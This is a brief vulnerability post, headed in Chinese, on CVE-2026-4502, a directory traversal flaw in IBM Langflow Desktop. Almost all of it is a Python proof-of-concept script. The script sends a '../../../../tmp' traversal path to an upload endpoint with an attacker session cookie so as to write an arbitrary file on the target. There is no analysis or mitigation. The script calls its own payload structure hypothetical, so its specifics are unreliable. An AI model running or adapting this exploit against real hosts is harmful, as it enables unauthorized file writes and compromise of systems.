CVE-2026-4502 IBM Langflow Desktop 目录遍历漏洞

import requests # Target URL (Example) target = "http://vulnerable-host:port/api/upload" # Attacker's controlled session cookie (Authentication required) cookies = {'session_id': 'attacker_session_token'} # Malicious path using directory traversal to write to a sensitive location # For example, writing to a startup folder or overwriting a config file traversal_payload = "../../../../tmp/malicious.txt" # Data to be written file_content = "Content written by CVE-2026-4502 Exploit" # Payload structure (Hypothetical based on description) data = { "path": traversal_payload, "content": file_content } try: response = requests.post(target, data=data, cookies=cookies) if response.status_code == 200: print("[+] Exploit successful! File written.") else: print(f"[-] Exploit failed. Status: {response.status_code}") except Exception as e: print(f"Error: {e}")